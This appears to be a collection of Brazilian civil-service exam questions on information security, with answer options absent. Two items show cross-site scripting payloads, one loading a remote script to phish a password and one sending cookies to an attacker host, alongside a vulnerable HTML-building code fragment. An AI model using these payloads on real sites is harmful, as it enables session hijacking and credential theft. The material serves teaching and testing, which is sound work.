Considere a notícia abaixo.

“Com o intuito de conferir ainda mais segurança, transparência e credibilidade às transações eletrônicas realizadas em todas as instâncias da Justiça Eleitoral, o Tribunal Superior Eleitoral (TSE) deu início à implementação da entidade deste ramo do Judiciário. De acordo com o projeto, a ideia é que o Tribunal seja o órgão central da emissão de certificados digitais para juízes eleitorais, servidores e advogados que atuam na Justiça Eleitoral, representantes de partidos políticos, candidatos a cargos eletivos e ainda para todos os programas e sistemas desenvolvidos para as eleições.

Afinada com os avanços tecnológicos, a Justiça Eleitoral brasileira já exige que alguns procedimentos eletrônicos sejam validados por certificados digitais. As próprias eleições, desde 1996, são realizadas de forma informatizada, e as urnas eletrônicas, por sua vez, recebem ..I.. para assegurar sua integridade e confiabilidade. No entanto, hoje a Justiça Eleitoral utiliza certificados digitais desenvolvidos por uma entidade interna, não creditada pela Infraestrutura de Chaves Públicas Brasileira (ICP-Brasil), órgão que define as normas para a instalação de uma entidade e para a emissão e reconhecimento dos certificados digitais.

(...) o objetivo do Tribunal é justamente dar mais credibilidade e transparência às transações eletrônicas realizadas no âmbito da Justiça Eleitoral, que passarão a ser reconhecidas pela ICP-Brasil. Para tanto, na sala-cofre da Corte Eleitoral será instalado o órgão central da entidade, a partir do qual serão gerados todos os certificados. Também serão criadas ..II.. no próprio TSE, nos tribunais regionais eleitorais (TREs) e, futuramente, em todos os cartórios eleitorais do país, entidades que têm por objetivo o recebimento, validação, encaminhamento de solicitações de emissão ou revogação de certificados digitais e identificação, de forma presencial, de seus solicitantes.”

(Adaptado de: https://tse.jusbrasil.com.br/noticias/2577485/)

A palavra entidade (sublinhada no texto) e as lacunas I e II se referem, correta e respectivamente, à Autoridade

Considere os cuidados abaixo.

I. Não aceite novos identificadores de sessão pré-configurados ou inválidos na URL ou em requisições. Isto é chamado de ataque de sessão fixada. Use somente mecanismos padrão para gerência de sessão. Não escreva ou use gerenciadores secundários de sessão em qualquer situação.

II. Mantenha no código os cookies personalizados com propósito de autenticação de gerência de sessão, como funções ‘lembrar do meu usuário’.

III. Use períodos de expiração de prazo que automaticamente geram logout em sessões inativas, bem como o conteúdo das informações que estão sendo protegidas.

IV. Assegure-se que todas as páginas tenham um link de logout. O logout não deve destruir as sessões nem cookies de sessão.

V. Use somente funções de proteção secundárias eficientes (perguntas e respostas, reset de senha), pois estas credenciais são como senhas, nomes de usuários e tokens. Aplique one-way hash nas respostas para prevenir ataques nos quais a informação pode ser descoberta.

São cuidados que corretamente evitam problemas de quebra de autenticação e gerenciamento de sessão em aplicações web, o que se afirma APENAS em

Considere uma aplicação em que um usuário efetua o login e, posteriormente, é redirecionado para uma tela principal. Isto poderia acontecer por meio de uma URL como a seguinte:

              http://www.aplicacaoweb.com.br/Default.aspx?usuario=idusuario

Nesta URL, idusuario indica a conta com a qual o usuário se autenticou no website.

Suponha, agora, que o usuário USER acessou a aplicação e não fez o logoff de sua sessão enquanto estava ativa. Após certo tempo, o usuário USER recebe um e-mail no qual um hacker se faz passar pela empresa que mantém o website. O e-mail fornece um link disfarçado que redireciona USER para uma URL como esta:

http://www.aplicacaoweb.com.br/Default.aspx?usuario=idusuario<script

src='http://sitedesconhecido.com/ataque.js'>solicitarSenha();</script>  

Note que o parâmetro usuario contém também uma referência para um arquivo Javascript localizado em outro website. Caso USER clique no link, o código existente no endereço externo solicitaria que ele informasse novamente sua senha e, em caso afirmativo, o atacante receberia a informação desejada, podendo também roubar outras informações presentes em cookies e na sessão ativa naquele instante.

A situação apresentada configura um ataque do tipo 

A criptografia digital é um mecanismo de segurança para o funcionamento dos programas computacionais. Como os dados tornam-se embaralhados, eles ficam inacessíveis a pessoas não autorizadas.

O Tribunal Superior Eleitoral usa algoritmos proprietários ..I.. , de conhecimento exclusivo do TSE.

O boletim da urna eleitoral é criptografado de forma segmentada, assinado digitalmente e transmitido.

Além da criptografia, existe a ..II.., que é o processo pelo qual são recuperados os dados previamente criptografados.

No recebimento do boletim da urna eleitoral ocorre:

− a validação da compatibilidade da chave pública de assinatura digital do boletim de urna com a chave privada do Totalizador;

− a decriptografia do boletim de urna de forma segmentada;

− a leitura do boletim de urna decriptografado;

− o armazenamento do boletim de urna criptografado e decriptografado.

(http://www.tse.jus.br/eleicoes/biometria-e-urna-eletronica/criptografia)

As lacunas I e II são, correta e respectivamente, preenchidas com

Um ataque massivo de hackers afetou empresas de diversos países do mundo. Até o momento, companhias de várias áreas de atuação, como comunicação, saúde e finanças foram prejudicadas. De acordo com informações da BBC, Estados Unidos, China, Rússia, Itália e Vietnã têm problemas similares com computadores ‘sequestrados’ por um tipo de vírus. Há ainda relatos de problemas na Espanha e Portugal.

Além de companhias como Vodafone, KPMG e Telefónica, o serviço de saúde britânico NHS também foi atingido por criminosos virtuais, de acordo com informações da agência Reuters. Ainda segundo a agência, o sistema de saúde do Reino Unido está respondendo aos ataques e, por conta dessa situação, diversos hospitais ao redor do país cancelaram consultas e atendimentos.

Os criminosos infectam as máquinas e demandam um resgate para ‘liberar’ os dados bloqueados. Alguns relatos informam que os malwares estão cobrando US$ 300 para liberar cada um dos computadores sequestrados e pedem o pagamento em bitcoins. Na rede social Twitter, vários usuários compartilharam imagens de suas telas de computadores após o sequestro. De acordo com relatos, o malware chega por e-mail e afeta, até então, apenas computadores com o sistema operacional Windows.

(Adaptado de: http://noticias.r7.com/tecnologia-e-ciencia/internet-sob-alerta-ataque-hacker-derruba-sistemas-de-empresas-em-todo-o-mundo-12052017)

Esse tipo de ataque é chamado

Os N-IDS ou Sistemas de Detecção de Intrusão baseados em Redes utilizam métodos para informar e bloquear as intrusões. Considere os métodos abaixo.

I. Reconfiguração de dispositivos externos: um comando é enviado pelo N-IDS a um dispositivo externo (com um filtro de pacotes ou um firewall) para que se reconfigure imediatamente e possa bloquear uma intrusão. Esta reconfiguração é possível através do envio de dados que expliquem o alerta (no cabeçalho do pacote).

II. Envio de um trap SMTP a um supervisor externo (armadilha SMTP): é enviado um alerta (e detalhes dos dados envolvidos) em forma de um datagrama SMTP para um console externo.

III. Registro (log) do ataque: cria um backup dos detalhes do alerta em um repositório, incluindo informações como o registro da data, o endereço IP do intruso, o endereço IP do destino, o protocolo utilizado e a carga útil.

IV. Armazenamento de pacotes suspeitos: os pacotes originais capturados e/ou os pacotes que desencadearam o alerta são guardados.

V. Envio de um ResetKill: construção de um pacote de alerta IP para forçar o fim de uma conexão (válido apenas para as técnicas de intrusão que utilizam o protocolo de aplicação IP).

Estão corretos os métodos

A figura abaixo apresenta uma arquitetura de rede com firewall. DMZ refere-se a uma DeMilitarized Zone ou zona desmilitarizada.

Um Técnico, observando a figura, afirma corretamente que

The purpose of most backup policies is to create a copy of data so that a particular file or application may be restored after data is lost, corrupted, deleted or a disaster strikes. Thus, backup is not the goal, but rather it is one means to accomplish the goal of protecting data. Testing backups is just as important as backing up and restoring data. Backup applications have long offered several types of backup operations. Two of the most common backup types are described below.

I. This operation will result in copying only the data that has changed since the last backup operation of any type. The modified time stamp on files is typically used and compared to the time stamp of the last backup. Backup applications track and record the date and time that backup operations occur in order to track files modified since these operations. Because this backup will only copy data since the last backup of any type, it may be run as often as desired, with only the most recent changes stored.

II. This type of backup makes a copy of all data to another set of media, which can be tape, disk or a DVD or CD. The primary advantage to performing this backup during every operation is that a complete copy of all data is available with a single set of media. This results in a minimal time to restore data, a metric known as a Recovery Time Objective (RTO).

The backup types I and II are, respectivelly,

Consider the statements below.

I. It is defined as a procedure requiring the combination of several factors, including at least two of the following: Knowledge-something the user knows, e.g., a password, a personal identification number (PIN); Ownership-something the user has, e.g., token, smart card, mobile phone/SIM; Inherence − something the user is, e.g., fingerprint. It is worth highlighting that the aforementioned requirement of having mutually independent factors could be difficult to match. In fact, in the context of access to Internet services, when using ownership and inherence factors as well as when inputting a PIN or password, the user transmits digital data to the verifying counterpart, so that regardless of the generating factor, susceptibility to interception is a common vulnerability.

II. Security administration can be costly and prone to error because administrators usually specify access control lists for each user on the system individually. With this kind of control, security is managed at a level that corresponds closely to the organization's structure. Each user is assigned one or more roles, and each role is assigned one or more privileges that are permitted to users in that role. Security administration with it consists of determining the operations that must be executed by persons in particular jobs, and assigning employees to the proper roles. Complexities introduced by mutually exclusive roles or role hierarchies are handled by its software, making security administration easier.

The statements I and II refers respectively to

Batizada de Drown, a séria vulnerabilidade descoberta afeta HTTPS e outros serviços que dependem de SSL e TLS, alguns dos protocolos mais essenciais para segurança na internet. O Drown aproveita que na rede, além de servidores que usam TLS por padrão, há outros que também suportam ........ e, explorando a vulnerabilidade do protocolo antigo, podem quebrar a criptografia do padrão TLS. Em testes realizados pelos pesquisadores, um PC normal foi capaz de quebrar a criptografia TLS em um servidor vulnerável em menos de 1 minuto. Durante um período, os pesquisadores realizaram uma ampla varredura na internet e descobriram que 33% de todo tráfego HTTPS pode estar vulnerável ao ataque Drown. É importante ressaltar que a quebra da criptografia depende também da capacidade de monitorar o tráfego TLS, mas isto é facilmente realizável em redes públicas ou a partir da invasão da rede tanto no lado do cliente como do lado do servidor. Como a vulnerabilidade está do lado do servidor, não há nada que possa ser feito no lado do cliente, que nem fica sabendo que o ataque está acontecendo.

(Disponível em: https://blog.leverage.inf.br/2016/03/01/drown-attack-nova-vulnerabilidade-no-tls/. Acessado em: 03 jul. 2017)

Ao ler esta notícia, da qual foi omitido o protocolo de segurança, um Analista Judiciário concluiu, corretamente, que 

Considere que um Sistema de Detecção de Intrusão (Intrusion Detection System − IDS) de um Tribunal foi configurado para realizar certo tipo de detecção. Um usuário, que sempre realiza o acesso à Internet no horário comercial, está sendo monitorado pelo IDS. Este IDS passou uma semana criando o perfil deste usuário e, a partir do último dia daquela semana, começou a empregar em seu perfil o horário comercial como o permitido para a utilização da Internet. Certo dia, após a detecção estar ativa, o usuário quis acessar a Internet durante a madrugada para entregar um relatório importante. Como este comportamento não estava de acordo com o perfil criado, a resposta a esta detecção realizada pelo IDS foi o bloqueio do acesso à Internet para aquele usuário. Neste caso, o IDS detectou um falso positivo. Embora isso possa ocorrer, pois o comportamento de usuários e sistemas pode variar amplamente, este tipo de detecção pode identificar novas formas de ataques.

O tipo relatado é denominado Detecção

“O ransomware WannaCry recebido e analisado pelo US-CERT é um carregador que contém uma DLL criptografada pelo algoritmo ..I.. . Durante o tempo de execução, o carregador grava um arquivo no disco chamado ‘t.wry’. O malware, em seguida, usa uma chave incorporada de ..II.... bits para descriptografar esse arquivo. Esta DLL, que é então carregada no processo pai, é o real WannaCry Ransomware responsável por criptografar os arquivos do usuário. Usando este método de carregamento criptográfico, o WannaCry DLL nunca é diretamente exposto no disco e portanto não fica vulnerável a varreduras de software antivírus. A DLL recém-carregada imediatamente começa a criptografar arquivos no sistema da vítima usando o mesmo algoritmo e o mesmo tamanho de chave. Uma chave aleatória é gerada para a criptografia de cada arquivo e esta mesma chave deve ser usada para descriptografar o arquivo, mas o hacker cobra um resgate em bitcoins da vítima para fornecer as chaves.”

(Adaptado de: https://www.multirede.com.br/2017/05/15/ataque-cibernetico-proteja-seus-dados-wannacry-ransomware/. Acessado em: 01/07/2017)

As lacunas I e II e a técnica de criptografia são, correta e respectivamente,

Considere um cenário em que uma aplicação utiliza dados não confiáveis na construção do seguinte fragmento HTML sem validação ou filtro:

(String) page += "<input name='num_cartao_credito' type='TEXT' value='" +

request.getParameter("credit_card") + " '>";

Considere, ainda, que um atacante modifica o parâmetro 'credit_card' em seu navegador para:

'><script>document.location= 'http://www.atacante.com/cgi-bin/cookie.cgi?

foo='+document.cookie</script>'

Isso causa o envio do ID de sessão da vítima para o site do atacante, permitindo que sequestre a sessão atual do usuário.

Este é um cenário de ataque do tipo

Considere os processos abaixo.

Processos do SGSI

− Planejar.

− Executar.

− Verificar.

− Agir.

Processos de GRSI

− Definição do contexto.

− Avaliação de riscos.

− Definição do plano de tratamento do risco.

− Aceitação do risco.

− Implementação do plano de tratamento do risco.

− Monitoramento contínuo e análise crítica de riscos.

− Manter e melhorar o processo de GRSI.

A norma ABNT NBR ISO/IEC 27005:2011 apresenta o alinhamento do processo do Sistema de Gestão da Segurança da Informação – SGSI e do processo de Gestão de Riscos de Segurança da Informação – GRSI. Segundo a Norma, o processo de GRSI denominado

Considere, hipoteticamente, que os Técnicos Maria e José trocaram informações utilizando os procedimentos abaixo.

I. Maria cifrou uma informação com a chave pública de José e enviou essa informação a ele. José decifrou a informação usando sua chave privada correspondente.

II. Maria cifrou uma informação usando sua chave privada e a enviou a José, que decifrou esta informação usando a chave pública de Maria.

Os algoritmos criptográficos de chave pública, com relação às informações por eles protegidas, permitem garantir nos casos I e II, respectivamente,